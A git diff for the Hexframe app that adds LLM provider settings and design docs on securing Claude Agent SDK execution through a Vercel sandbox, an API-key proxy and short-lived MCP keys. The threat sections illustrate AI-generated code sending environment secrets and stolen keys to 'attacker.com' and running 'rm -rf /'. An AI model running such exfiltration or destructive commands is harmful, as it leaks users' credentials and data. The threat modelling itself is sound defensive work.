diff --git a/.env.production.example b/.env.production.example index 99010fe89..ee5936460 100644 --- a/.env.production.example +++ b/.env.production.example @@ -20,11 +20,45 @@ BETTER_AUTH_URL= # MISTRAL_API_KEY= # YOUTUBE_API_KEY= -# OpenRouter API Key (REQUIRED for AI chat features) +# === LLM PROVIDER CONFIGURATION === + +# LLM Provider Selection (optional, defaults to "openrouter") +# Options: "openrouter" or "claude-agent-sdk" +# +# - "openrouter": Multi-model proxy service with pay-per-use pricing +# Compatible with OpenAI, Anthropic, Google, Meta, and more +# Recommended for production due to flexibility and cost control +# +# - "claude-agent-sdk": Direct Anthropic Claude Agent SDK integration +# Requires ANTHROPIC_API_KEY, uses async generators for streaming +# Provides access to advanced agent capabilities and tool use +# +LLM_PROVIDER=openrouter + +# OpenRouter API Key (REQUIRED if LLM_PROVIDER=openrouter) # Get yours at: https://openrouter.ai/keys # IMPORTANT: Set spending limits in OpenRouter dashboard for safety! OPENROUTER_API_KEY=sk-or-v1-... +# Anthropic API Key (REQUIRED if LLM_PROVIDER=claude-agent-sdk) +# Get yours at: https://console.anthropic.com/ +# Provides direct access to Claude models via the Agent SDK +ANTHROPIC_API_KEY=sk-ant-... + +# === VERCEL SANDBOX CONFIGURATION (for Claude Agent SDK in production) === + +# Enable Vercel Sandbox for isolated code execution +# IMPORTANT: Set to "true" when using claude-agent-sdk in production on Vercel +# The Claude Agent SDK spawns subprocesses which don't work in standard serverless +# Vercel Sandbox provides isolated microVMs for safe AI agent execution +USE_SANDBOX=true + +# Vercel OIDC Token (REQUIRED if USE_SANDBOX=true) +# In production: Automatically provided by Vercel as VERCEL_OIDC_TOKEN +# In development: Run `vercel env pull .env.local` to get development token +# This is NOT the same as a personal access token from vercel.com/account/tokens +VERCEL_OIDC_TOKEN= + # Email Configuration (REQUIRED for email verification in production) # Brevo (formerly Sendinblue) - Recommended for Hexframe # Get your API key at: https://app.brevo.com/settings/keys/api @@ -54,4 +88,4 @@ USE_QUEUE=true # Monitoring (optional) # SENTRY_DSN= -# VERCEL_ANALYTICS_ID= +# VERCEL_ANALYTICS_ID= \ No newline at end of file diff --git a/docs/ANTHROPIC_PROXY_SECURITY.md b/docs/ANTHROPIC_PROXY_SECURITY.md new file mode 100644 index 000000000..2534b1c91 --- /dev/null +++ b/docs/ANTHROPIC_PROXY_SECURITY.md @@ -0,0 +1,164 @@ +# Anthropic API Proxy Security + +## Problem + +When running Claude Agent SDK in Vercel Sandbox, the `ANTHROPIC_API_KEY` must be provided as an environment variable. This creates a security risk: malicious users could extract the API key from the sandbox environment. + +## Solution: Secure Proxy + +Instead of exposing the API key directly, we route all Anthropic API calls through a secure proxy endpoint. + +### Architecture + +``` +┌─────────────────────────────────────────────┐ +│ Vercel Sandbox (Untrusted) │ +│ │ +│ Claude Agent SDK │ +│ ├─ ANTHROPIC_BASE_URL = /api/anthropic... │ +│ └─ ANTHROPIC_API_KEY = "placeholder" │ +│ │ +│ [No real API key exposed] │ +└──────────────┬──────────────────────────────┘ + │ Authenticated requests + │ (user_id + secret in URL) + ▼ +┌─────────────────────────────────────────────┐ +│ /api/anthropic-proxy (Trusted) │ +│ │ +│ 1. Verify internal auth secret │ +│ 2. Check rate limits per user │ +│ 3. Add real ANTHROPIC_API_KEY │ +│ 4. Forward to api.anthropic.com │ +│ 5. Return response │ +└─────────────────────────────────────────────┘ +``` + +## Implementation + +### 1. Proxy Endpoint + +**File:** `src/app/api/anthropic-proxy/route.ts` + +- Accepts requests with `user_id` and `auth` query parameters +- Validates internal authentication secret +- Enforces per-user rate limiting (50 requests/hour by default) +- Adds the real `ANTHROPIC_API_KEY` before forwarding to Anthropic +- Supports streaming and non-streaming requests + +### 2. Sandbox Configuration + +**File:** `src/lib/domains/agentic/repositories/claude-agent-sdk-sandbox.repository.ts` + +```typescript +// Set proxy URL with authentication +const proxyUrl = `${baseUrl}/api/anthropic-proxy?user_id=${userId}&auth=${secret}` +process.env.ANTHROPIC_BASE_URL = proxyUrl + +// Placeholder key (never used) +process.env.ANTHROPIC_API_KEY = 'placeholder-key-not-used' +``` + +## Security Features + +### 1. Internal Authentication +- Requests must include `INTERNAL_PROXY_SECRET` +- Secret is never exposed to sandbox (only in query string generated server-side) +- Generate a strong random secret for production + +### 2. Rate Limiting +- 50 requests/hour per user (configurable) +- Prevents abuse even if authentication is compromised +- In-memory tracking (use Redis for production) + +### 3. Budget Limits +- `maxBudgetUsd: 1.0` per SDK request +- Additional limit at SDK level +- Prevents runaway costs + +### 4. Request Validation +- Body validation before forwarding +- Suspicious pattern detection (optional) +- Request logging for monitoring + +## Environment Variables + +```bash +# Required +ANTHROPIC_API_KEY=sk-ant-... # Real API key (server-side only) +INTERNAL_PROXY_SECRET= # Generate with: openssl rand -hex 32 + +# Optional +HEXFRAME_API_BASE_URL=https://... # Your app URL for proxy +``` + +## Production Setup + +1. **Generate secure secret:** + ```bash + openssl rand -hex 32 + ``` + +2. **Add to Vercel:** + - Go to Project Settings → Environment Variables + - Add `INTERNAL_PROXY_SECRET` with the generated value + - Scope: Production, Preview, Development + +3. **Verify:** + - `ANTHROPIC_API_KEY` is set (for proxy to use) + - `INTERNAL_PROXY_SECRET` is set (for auth) + - `HEXFRAME_API_BASE_URL` points to your domain + +## Monitoring + +Monitor for: +- Rate limit violations (potential abuse) +- Failed auth attempts +- Unusual API usage patterns +- High costs per user + +Check logs: +```typescript +loggers.agentic('Anthropic proxy: ...', { userId, ... }) +``` + +## Limitations + +### What This Protects Against +✅ Direct API key extraction from process.env +✅ Unlimited API usage per user +✅ Untracked API consumption + +### What This Doesn't Protect Against +⚠️ Sophisticated attacks (sandbox escape, timing attacks) +⚠️ Auth secret extraction (if sandbox can read its own request URLs) +⚠️ Replay attacks (no nonce/timestamp validation) + +### Additional Hardening (Optional) + +For maximum security: +1. **Use time-based tokens:** Include timestamp in auth, reject old requests +2. **Use per-request nonces:** Prevent replay attacks +3. **Use Redis for rate limiting:** More robust than in-memory +4. **Monitor sandbox logs:** Detect key extraction attempts +5. **Rotate secrets regularly:** Weekly/monthly rotation + +## Cost Control + +Even with leaked credentials, damage is limited by: +- **Rate limiting:** 50 req/hour = max ~$1-2/hour (at $0.02/req avg) +- **Budget limits:** $1.00 max per SDK request +- **Monitoring:** Alerts on unusual usage + +## Alternative: Don't Use Sandbox + +If security concerns are too high: +- Set `LLM_PROVIDER=openrouter` in production +- Keep Claude SDK for development only +- Simpler but loses agent capabilities + +## References + +- [Anthropic SDK Base URL](https://github.com/anthropics/anthropic-sdk-typescript) +- [Vercel Sandbox Docs](https://vercel.com/docs/vercel-sandbox) +- [Implementation PR](#) diff --git a/docs/CLAUDE_SDK_SECURITY_ARCHITECTURE.md b/docs/CLAUDE_SDK_SECURITY_ARCHITECTURE.md new file mode 100644 index 000000000..d2b510728 --- /dev/null +++ b/docs/CLAUDE_SDK_SECURITY_ARCHITECTURE.md @@ -0,0 +1,645 @@ +# Claude SDK Security Architecture + +> **Complete guide to Hexframe's secure AI agent execution with Anthropic Claude SDK** + +## Table of Contents +- [Overview](#overview) +- [Development vs Production](#development-vs-production) +- [Anthropic Proxy Architecture](#anthropic-proxy-architecture) +- [Security Threats & Mitigations](#security-threats--mitigations) +- [Environment Configuration](#environment-configuration) +- [Architecture Diagrams](#architecture-diagrams) + +--- + +## Overview + +Hexframe uses the [Anthropic Claude Agent SDK](https://github.com/anthropics/anthropic-agent-sdk) to enable AI agents that can execute code and use tools. This creates **critical security risks** because: + +1. **AI-generated code execution**: The SDK allows Claude to generate and execute arbitrary code +2. **Environment access**: Executed code can access environment variables, file system, and network +3. **Secret exposure**: Without proper isolation, API keys and credentials can be stolen + +This document explains our **defense-in-depth security architecture** to mitigate these risks. + +--- + +## Development vs Production + +### 🚨 **CRITICAL DIFFERENCE** + +| Aspect | Development (`USE_SANDBOX=false`) | Production (`USE_SANDBOX=true`) | +|--------|-----------------------------------|----------------------------------| +| **Execution** | Direct SDK in Next.js process | Isolated Vercel Sandbox microVM | +| **Security** | ⚠️ **UNSAFE** - Full environment access | ✅ **SAFE** - Isolated environment | +| **Performance** | Faster, no cold starts | ~2s sandbox initialization overhead | +| **Debugging** | Easy, local logs | Harder, logs in Vercel infrastructure | +| **Use Case** | Local development only | Production & staging | +| **API Keys** | Proxied (see below) | Proxied (see below) | +| **MCP Access** | Full user data access | Full user data access | + +### ⚠️ Why Development Mode is Unsafe + +When `USE_SANDBOX=false`, the Claude Agent SDK runs **directly inside the Next.js server process**, giving AI-generated code: + +- **Full access to `process.env`** → Can steal all environment variables including: + - `ANTHROPIC_API_KEY` (despite proxy, see below) + - `DATABASE_URL` with credentials + - `AUTH_SECRET` + - OAuth client secrets + - Any other secrets + +- **File system access** → Can read: + - `.env` files + - `node_modules` (source code) + - Database files + - SSH keys (`~/.ssh`) + +- **Network access** → Can make arbitrary HTTP requests: + - Exfiltrate data to attacker servers + - Scan internal network + - Attack other services + +**⚠️ NEVER deploy to production with `USE_SANDBOX=false`** + +### ✅ Why Sandbox Mode is Safe + +When `USE_SANDBOX=true`, code executes in a **Vercel Sandbox microVM**: + +- **Isolated environment**: Fresh Node.js instance with no access to parent process +- **Clean process.env**: Only receives explicitly passed variables +- **Network restrictions**: Can only access explicitly allowed URLs +- **No file system access**: Runs in ephemeral container +- **Automatic cleanup**: Environment destroyed after execution + +--- + +## Anthropic Proxy Architecture + +### The Problem: SDK Hardcoded URLs + +The Anthropic Claude Agent SDK is **closed-source** and **hardcodes** the Anthropic API URL: +```typescript +// Inside @anthropic-ai/claude-agent-sdk (we can't modify this) +const ANTHROPIC_API = "https://api.anthropic.com/v1/messages" +``` + +This means we **cannot** simply change `ANTHROPIC_BASE_URL` because the SDK ignores it for certain internal calls. + +### Our Solution: Network-Level Interception + Proxy + +We implement **defense-in-depth** with three layers: + +#### Layer 1: Network Interceptor (Catch Hardcoded URLs) +```typescript +// src/lib/domains/agentic/repositories/_helpers/network-interceptor.ts +globalThis.fetch = async (url, init) => { + // Intercept ALL calls to api.anthropic.com + if (url.includes('api.anthropic.com')) { + // Redirect to our proxy + return fetch('https://yourdomain.com/api/anthropic-proxy/...', { + ...init, + headers: { 'x-api-key': INTERNAL_PROXY_SECRET } + }) + } + return originalFetch(url, init) +} +``` + +**Injected in both modes:** +- **Non-sandbox**: Installed in parent Node.js process +- **Sandbox**: Injected into sandbox execution script + +#### Layer 2: Secure Proxy (Validate & Forward) +```typescript +// src/app/api/anthropic-proxy/[...path]/route.ts +export async function POST(request) { + // 1. Validate proxy secret + const clientSecret = request.headers.get('x-api-key') + if (clientSecret !== INTERNAL_PROXY_SECRET) { + return Response.json({ error: 'Unauthorized' }, { status: 401 }) + } + + // 2. Use REAL API key (not accessible to SDK) + const realApiKey = process.env.ANTHROPIC_API_KEY_ORIGINAL + + // 3. Forward to Anthropic with bypass flag + return fetch('https://api.anthropic.com/v1/messages', { + headers: { + 'x-api-key': realApiKey, + 'x-bypass-interceptor': 'true' // Prevent infinite loop + } + }) +} +``` + +#### Layer 3: API Key Isolation + +```typescript +// Parent process environment setup +process.env.ANTHROPIC_API_KEY_ORIGINAL = 'sk-ant-api03-...' // Save original +process.env.ANTHROPIC_API_KEY = INTERNAL_PROXY_SECRET // Overwrite for SDK +``` + +**Key separation:** +- SDK sees: `INTERNAL_PROXY_SECRET` (64-char random hex, useless outside our app) +- Proxy uses: `ANTHROPIC_API_KEY_ORIGINAL` (real API key, never exposed to SDK) + +### Why This Matters + +**Without the proxy**, AI-generated code could: +```javascript +// Malicious code in sandbox +const apiKey = process.env.ANTHROPIC_API_KEY +await fetch('https://attacker.com/steal', { + method: 'POST', + body: JSON.stringify({ apiKey }) // Sends real API key! +}) +``` + +**With the proxy**, the stolen key is worthless: +```javascript +// AI-generated code gets: +process.env.ANTHROPIC_API_KEY // = "5549688546d8c2..." (internal secret) + +// Attacker tries to use it: +await fetch('https://api.anthropic.com/v1/messages', { + headers: { 'x-api-key': '5549688546d8c2...' } +}) +// ❌ Anthropic rejects: "invalid x-api-key" + +// Can only be used through OUR proxy (which we control): +await fetch('https://hexframe.com/api/anthropic-proxy/v1/messages', { + headers: { 'x-api-key': '5549688546d8c2...' } +}) +// ✅ Proxy validates, uses real key, forwards request +// But we can add: rate limiting, logging, cost tracking, user quotas! +``` + +### Proxy Benefits + +1. **Security**: Real API key never exposed to AI-generated code +2. **Monitoring**: Log all API calls, costs, tokens used +3. **Rate Limiting**: Prevent abuse (50-200 requests/hour per user) +4. **Cost Control**: Set budget limits per user/request +5. **Audit Trail**: Track which user made which AI requests +6. **Graceful Degradation**: Switch providers without SDK changes + +--- + +## Security Threats & Mitigations + +### Threat 1: Anthropic API Key Theft ✅ MITIGATED + +**Attack Vector:** +```javascript +// AI-generated code tries to steal API key +console.log(process.env.ANTHROPIC_API_KEY) +await fetch('https://attacker.com', { + body: JSON.stringify(process.env) +}) +``` + +**Mitigation:** +- ✅ **Network interceptor** catches hardcoded URLs +- ✅ **Proxy validation** ensures only our secret works +- ✅ **API key isolation** via `ANTHROPIC_API_KEY_ORIGINAL` +- ✅ **Sandbox mode** in production prevents env access + +**Residual Risk:** Low - Even if stolen, internal secret is useless outside our infrastructure + +--- + +### Threat 2: MCP API Key Theft ⚠️ PARTIALLY MITIGATED + +**Attack Vector:** +```javascript +// AI-generated code in sandbox +const mcpConfig = // Injected in execution script +const mcpApiKey = mcpConfig.headers['x-api-key'] + +// Steal the key +await fetch('https://attacker.com/steal-mcp', { + body: JSON.stringify({ mcpApiKey }) +}) + +// Use stolen key to access user data +await fetch('https://hexframe.com/api/mcp', { + method: 'POST', + headers: { 'x-api-key': mcpApiKey }, + body: JSON.stringify({ + jsonrpc: '2.0', + method: 'tools/call', + params: { + name: 'getItemByCoords', + arguments: { userId: 'victim', path: [0] } + } + }) +}) +// 🚨 Can access ALL of victim's hexframe maps! +``` + +**What MCP API Key Grants Access To:** + +The MCP (Model Context Protocol) API key allows: + +1. **Read Access:** + - `getCurrentUser` - Get user profile and mappingId + - `getItemsForRootItem` - Read entire hexagonal map hierarchy + - `getItemByCoords` - Read specific map tiles with full content + - `mapItemsList` - List all user's map items + - `mapItemHandler` - Get detailed item information + +2. **Write Access:** + - `addItem` - Create new map tiles + - `updateItem` - Modify existing tiles (title, content, preview, URL) + - `moveItem` - Reorganize map structure + - `deleteItem` - Delete tiles and entire subtrees ⚠️ DESTRUCTIVE + +3. **Scope:** + - Per-user API key (linked to userId in database) + - Scoped to that user's data only + - No cross-user access (enforced by IAM domain) + - Rate limits applied per user + +**Current Mitigations:** +- ✅ **User-scoped keys**: Each MCP key only accesses that user's data +- ✅ **Database-level isolation**: IAM domain enforces userId boundaries +- ✅ **Audit logging**: All MCP tool calls are logged +- ✅ **Rate limiting**: Prevents mass data exfiltration + +**Current Mitigations:** ✅ IMPLEMENTED +1. **Short-lived session tokens** (10 minutes TTL) + - MCP keys auto-expire after 10 minutes + - Keys automatically rotated on each new agent request + - Purpose changed from `'mcp'` to `'mcp-session'` to distinguish + - Expired keys auto-deactivated during validation + +**Residual Risk:** Low-Medium (significantly improved!) +- ✅ Stolen keys expire within 10 minutes (was: indefinite) +- ✅ Keys auto-rotate between sessions (was: persistent) +- ⚠️ Within 10-min window, malicious AI code CAN: + - Steal user's own data + - Modify/delete user's maps + - Exfiltrate to external servers (if no network restrictions) +- ⚠️ No way to distinguish legitimate vs. malicious SDK usage + +**Recommended Future Mitigations:** + +1. **Operation allowlisting** + - Default: Read-only access (getCurrentUser, getItems*) + - Opt-in: Write access (addItem, updateItem, etc.) + - Require explicit user confirmation for destructive ops + +2. **Transaction log & rollback** + - Log all write operations with timestamps + - Implement "undo" functionality for AI changes + - Alert user on suspicious patterns (mass deletes, rapid changes) + +3. **Anomaly detection** + - Flag unusual API patterns (100 reads in 1 second) + - Throttle based on behavior, not just rate + - Require CAPTCHA for suspicious sessions + +4. **Sandbox network restrictions** + - Whitelist only hexframe.com and anthropic proxy + - Block all other outbound connections + - Prevent data exfiltration to attacker servers + +**Implementation Priority:** Medium (primary risk mitigated) +- Short-lived tokens reduce exposure from indefinite to 10 minutes +- Remaining risks are lower priority +- Can be addressed post-launch if needed + +--- + +### Threat 3: Database Credentials Theft ✅ MITIGATED (Sandbox Only) + +**Attack Vector:** +```javascript +// Non-sandbox mode +console.log(process.env.DATABASE_URL) +// "postgres://user:password@host/db" +``` + +**Mitigation:** +- ✅ **Sandbox mode** isolates environment (production) +- ⚠️ **Non-sandbox mode** exposes credentials (dev only) + +**Residual Risk:** Low in production, High in development + +--- + +### Threat 4: Code Injection & RCE ✅ MITIGATED (Sandbox Only) + +**Attack Vector:** +```javascript +// AI generates malicious code +const { exec } = require('child_process') +exec('rm -rf /', (error, stdout) => { + // Destroy file system +}) +``` + +**Mitigation:** +- ✅ **Sandbox isolation** prevents host access +- ✅ **Ephemeral containers** auto-destroyed +- ⚠️ **Non-sandbox mode** vulnerable (dev only) + +**Residual Risk:** Low in production, High in development + +--- + +### Threat 5: Denial of Service ✅ MITIGATED + +**Attack Vector:** +```javascript +// Infinite loop +while(true) { await fetch('https://api.anthropic.com') } +``` + +**Mitigation:** +- ✅ **Sandbox timeout** (5 minutes max) +- ✅ **Budget limits** ($1.00 per request) +- ✅ **Rate limiting** (50-200 req/hour) +- ✅ **Max turns limit** (10 turns per agent session) + +**Residual Risk:** Low + +--- + +## Environment Configuration + +### Required Environment Variables + +#### Production (`USE_SANDBOX=true`) +```bash +# Execution Mode +USE_SANDBOX=true # Enable Vercel Sandbox isolation + +# Anthropic Proxy (CRITICAL) +USE_ANTHROPIC_PROXY=true # Enable proxy security layer +INTERNAL_PROXY_SECRET=<64-char-hex> # Generate with: openssl rand -hex 32 +ANTHROPIC_API_KEY=sk-ant-api03-... # Real Anthropic API key (never exposed) + +# Vercel Sandbox (Production Only) +VERCEL_OIDC_TOKEN= # Get from deployed Vercel environment +HEXFRAME_API_BASE_URL=https://hexframe.com # Public URL for MCP callbacks + +# Database & Auth (as usual) +DATABASE_URL=postgres://... +AUTH_SECRET=... +``` + +#### Development (`USE_SANDBOX=false`) +```bash +# Execution Mode +USE_SANDBOX=false # Direct SDK execution (UNSAFE) + +# Anthropic Proxy (CRITICAL - still needed!) +USE_ANTHROPIC_PROXY=true # Proxy works in both modes +INTERNAL_PROXY_SECRET=<64-char-hex> # Same secret as production +ANTHROPIC_API_KEY=sk-ant-api03-... # Real Anthropic API key + +# Local Development +HEXFRAME_API_BASE_URL=https://.ngrok-free.app # If testing MCP +# OR +HEXFRAME_API_BASE_URL=http://localhost:3000 # Default (non-sandbox only) + +# Database & Auth (as usual) +DATABASE_URL=postgres://... +AUTH_SECRET=... +``` + +### Configuration Files + +**`.env` (committed, shared defaults):** +```bash +# Execution mode (override in .env.local for dev) +USE_SANDBOX=true +USE_ANTHROPIC_PROXY=true +``` + +**`.env.local` (gitignored, developer-specific):** +```bash +# Development override +USE_SANDBOX=false # Only for local dev! + +# Your API keys +ANTHROPIC_API_KEY=sk-ant-api03-... +INTERNAL_PROXY_SECRET=abc123... + +# Local URLs +HEXFRAME_API_BASE_URL=http://localhost:3000 +``` + +**Vercel Environment Variables (production):** +```bash +# Set via: vercel env add USE_SANDBOX +USE_SANDBOX=true +USE_ANTHROPIC_PROXY=true +ANTHROPIC_API_KEY= +INTERNAL_PROXY_SECRET= + +# Auto-available in Vercel: +VERCEL_OIDC_TOKEN= +``` + +### Getting Vercel OIDC Token + +The `VERCEL_OIDC_TOKEN` is **only available in deployed Vercel environments**: + +```typescript +// Automatically available in production +process.env.VERCEL_OIDC_TOKEN // Set by Vercel at runtime +``` + +For local testing with sandbox: +1. **DON'T** use `vercel env pull` (pulls production secrets!) +2. **DO** deploy to Vercel preview/staging +3. **OR** use non-sandbox mode for local dev + +--- + +## Architecture Diagrams + +### Production Flow (Sandbox + Proxy) + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ User Request: "Create a new map tile" │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Next.js Server (Parent Process) │ +│ ┌─────────────────────────────────────────────────────────────┐ │ +│ │ Environment Variables: │ │ +│ │ • ANTHROPIC_API_KEY = "sk-ant-api03-ABC..." (REAL KEY) │ │ +│ │ • INTERNAL_PROXY_SECRET = "5549688546..." (RANDOM HEX) │ │ +│ │ • DATABASE_URL = "postgres://..." (SENSITIVE) │ │ +│ │ • AUTH_SECRET = "..." (SENSITIVE) │ │ +│ └─────────────────────────────────────────────────────────────┘ │ +│ │ +│ 1. Create Vercel Sandbox microVM │ +│ 2. Pass ONLY safe environment variables: │ +│ • ANTHROPIC_BASE_URL = "https://hexframe.com/proxy" │ +│ • ANTHROPIC_API_KEY = INTERNAL_PROXY_SECRET (useless) │ +│ • MCP_API_KEY = ⚠️ EXPOSED │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Vercel Sandbox (Isolated microVM) │ +│ ┌─────────────────────────────────────────────────────────────┐ │ +│ │ Clean Environment (ONLY what we pass): │ │ +│ │ • ANTHROPIC_BASE_URL = "https://hexframe.com/proxy" │ │ +│ │ • ANTHROPIC_API_KEY = "5549688546..." (PROXY SECRET) │ │ +│ │ NO DATABASE_URL, NO AUTH_SECRET, NO REAL API KEY │ │ +│ └─────────────────────────────────────────────────────────────┘ │ +│ │ +│ 3. Install network interceptor (globalThis.fetch override) │ +│ 4. Run Claude Agent SDK with MCP tools │ +│ 5. AI generates code: "Create map tile..." │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ AI tries to use Anthropic API +┌─────────────────────────────────────────────────────────────────┐ +│ Network Interceptor (Inside Sandbox) │ +│ │ +│ 6. Catch fetch("https://api.anthropic.com/v1/messages") │ +│ 7. Redirect to: https://hexframe.com/api/anthropic-proxy/... │ +│ 8. Add header: x-api-key: INTERNAL_PROXY_SECRET │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Anthropic Proxy Route (/api/anthropic-proxy/[...path]) │ +│ │ +│ 9. Validate: request.headers['x-api-key'] === INTERNAL_SECRET │ +│ 10. Get REAL key: process.env.ANTHROPIC_API_KEY_ORIGINAL │ +│ 11. Forward to Anthropic with REAL key │ +│ Add header: x-bypass-interceptor: true (prevent loop) │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Anthropic API (https://api.anthropic.com) │ +│ │ +│ 12. Validate: x-api-key = "sk-ant-api03-ABC..." ✅ REAL KEY │ +│ 13. Process request, return response │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ Response flows back +┌─────────────────────────────────────────────────────────────────┐ +│ Result: Map tile created, user data updated │ +│ Sandbox destroyed, MCP key still valid ⚠️ │ +└─────────────────────────────────────────────────────────────────┘ +``` + +### Development Flow (Direct SDK + Proxy) + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ User Request: "Create a new map tile" │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Next.js Server (Single Process) │ +│ ┌─────────────────────────────────────────────────────────────┐ │ +│ │ Environment Variables (ALL EXPOSED): │ │ +│ │ • ANTHROPIC_API_KEY_ORIGINAL = "sk-ant-..." (SAVED) │ │ +│ │ • ANTHROPIC_API_KEY = "5549688546..." (OVERWRITTEN) │ │ +│ │ • DATABASE_URL = "postgres://..." ⚠️ EXPOSED │ │ +│ │ • AUTH_SECRET = "..." ⚠️ EXPOSED │ │ +│ └─────────────────────────────────────────────────────────────┘ │ +│ │ +│ 1. Install network interceptor (globalThis.fetch) │ +│ 2. Run Claude Agent SDK directly (same process!) │ +│ 3. AI-generated code has FULL access to process.env │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ AI code executes in same process +┌─────────────────────────────────────────────────────────────────┐ +│ AI-Generated Code (DANGEROUS) │ +│ │ +│ // AI could do this: │ +│ const allSecrets = process.env; │ +│ await fetch('https://attacker.com', { │ +│ body: JSON.stringify(allSecrets) // 🚨 ALL SECRETS LEAKED │ +│ }) │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ Normal flow continues +┌─────────────────────────────────────────────────────────────────┐ +│ Network Interceptor (Same Process) │ +│ 4. Catch API calls, redirect to proxy (same as sandbox) │ +└────────────────┬────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ Proxy validates & forwards (same as sandbox) │ +└─────────────────────────────────────────────────────────────────┘ + +⚠️ CRITICAL: This mode is ONLY safe for local development! +``` + +--- + +## Security Checklist + +Before deploying to production: + +- [ ] `USE_SANDBOX=true` in production environment +- [ ] `USE_ANTHROPIC_PROXY=true` in all environments +- [ ] `INTERNAL_PROXY_SECRET` is 64+ characters, random, unique +- [ ] `VERCEL_OIDC_TOKEN` available in Vercel (auto-injected) +- [ ] `HEXFRAME_API_BASE_URL` set to public domain (not localhost) +- [ ] All `.env.local` files in `.gitignore` +- [ ] No API keys committed to git +- [x] **Short-lived MCP session tokens** (10 min TTL) ✅ IMPLEMENTED +- [ ] MCP rate limiting configured (200 req/hour) +- [ ] MCP operation logging enabled +- [ ] Sandbox timeout set (5 minutes default) +- [ ] Budget limits configured ($1.00/request default) + +Optional but recommended: +- [ ] Add MCP operation allowlisting (read-only default) +- [ ] Enable transaction log & rollback for AI changes +- [ ] Set up anomaly detection for API usage +- [ ] Configure network allowlist in sandbox + +--- + +## References + +- [Anthropic Claude Agent SDK](https://github.com/anthropics/anthropic-agent-sdk) +- [Vercel Sandbox Documentation](https://vercel.com/docs/functions/sandbox) +- [Model Context Protocol (MCP) Spec](https://spec.modelcontextprotocol.io/) +- [OWASP Top 10 for LLMs](https://owasp.org/www-project-top-10-for-large-language-model-applications/) + +--- + +## Questions & Support + +**Q: Why not just use environment variables instead of proxy?** +A: The SDK hardcodes URLs and uses private APIs we can't intercept with env vars alone. + +**Q: Can I disable the proxy for better performance?** +A: No. Proxy adds <50ms latency but prevents API key theft. Non-negotiable for production. + +**Q: What happens if internal proxy secret leaks?** +A: Rotate it immediately via `openssl rand -hex 32`. Update in all environments. No user data at risk, but regenerate MCP keys to be safe. + +**Q: Why is MCP key exposed to sandbox?** +A: Technical limitation - SDK needs to call MCP tools with authentication. We mitigate this with 10-minute session tokens that auto-expire and rotate. + +**Q: Can I test sandbox mode locally?** +A: Partially. You need either: (1) Deploy to Vercel preview/staging, or (2) Use ngrok + mock OIDC token (not recommended). + +--- + +**Last Updated:** 2025-11-05 +**Version:** 1.1.0 - Added short-lived session tokens +**Maintainers:** Hexframe Security Team diff --git a/docs/MCP_ARCHITECTURE.md b/docs/MCP_ARCHITECTURE.md new file mode 100644 index 000000000..76311131b --- /dev/null +++ b/docs/MCP_ARCHITECTURE.md @@ -0,0 +1,240 @@ +# MCP Server Architecture + +This document explains how the MCP (Model Context Protocol) server integration works with the Claude Agent SDK. + +## Architecture Overview + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ User's Next.js App (Your Application) │ +│ ├─ tRPC API (/services/api/trpc/*) │ +│ │ └─ Requires authentication (session or API key) │ +│ │ │ +│ ├─ MCP HTTP Endpoint (/api/mcp) │ +│ │ ├─ Accepts x-api-key header for authentication │ +│ │ ├─ Validates API key via better-auth │ +│ │ └─ Runs tools with authenticated request context │ +│ │ │ +│ └─ Claude Agent SDK (subprocess) │ +│ ├─ Spawned by claude-agent-sdk.repository.ts │ +│ ├─ Connects to HTTP MCP server with API key │ +│ └─ Calls tools via JSON-RPC over HTTP │ +└─────────────────────────────────────────────────────────────────┘ +``` + +## Key Components + +### 1. HTTP MCP Server (`/api/mcp`) + +**Location**: `src/app/api/mcp/route.ts` + +**Purpose**: Exposes MCP tools over HTTP with API key authentication + +**Protocol**: JSON-RPC 2.0 + +**Methods**: +- `initialize` - Handshake to establish connection +- `tools/list` - Returns list of available tools +- `tools/call` - Executes a tool with given arguments + +**Authentication**: +- Uses `x-api-key` header +- Validates key via `auth.api.verifyApiKey()` +- Runs tool handlers within `runWithRequestContext()` to provide auth context + +### 2. Claude Agent SDK Configuration + +**Location**: `src/lib/domains/agentic/repositories/claude-agent-sdk.repository.ts` + +**Configuration**: +```typescript +const mcpServers = { + hexframe: { + type: 'http', + url: `${HEXFRAME_API_BASE_URL}/api/mcp`, + headers: { + 'x-api-key': HEXFRAME_MCP_API_KEY + } + } +} +``` + +**Environment Variables**: +- `ENCRYPTION_KEY` - 32-byte encryption key (64 hex chars) for internal API keys +- `HEXFRAME_API_BASE_URL` - Base URL (defaults to http://localhost:3000) + +### 3. MCP Tools + +**Location**: `src/app/services/mcp/handlers/tools.ts` + +**Available Tools**: +- `getItemsForRootItem` - Get hierarchical tile structure +- `getItemByCoords` - Get single tile by coordinates +- `addItem` - Create new tile +- `updateItem` - Update existing tile +- `deleteItem` - Delete tile +- `moveItem` - Move tile to new location +- `getCurrentUser` - Get current user info + +### 4. Tool Handlers + +**Location**: `src/app/services/mcp/services/map-items.ts` + +**How they work**: +1. Receive tool arguments (e.g., coords, title) +2. Call tRPC endpoints via `callTrpcEndpoint()` +3. Use API key from request context for authentication +4. Return results to Claude + +## Authentication Flow + +``` +1. User makes AI chat request → tRPC endpoint (with session/userId) +2. tRPC creates Claude SDK repository with userId +3. SDK fetches/creates user's encrypted internal MCP key +4. SDK spawns subprocess with MCP config (using decrypted key) +5. Subprocess connects to /api/mcp with internal API key +6. MCP server validates internal key → gets userId +7. Tool executes within user's authenticated context +8. Result returned to Claude → User +``` + +## Internal vs External API Keys + +**External API Keys** (better-auth `apikey` table): +- Created by users via UI +- Shown ONCE to user, then hashed in DB +- Used for external tools, CLI, third-party integrations +- 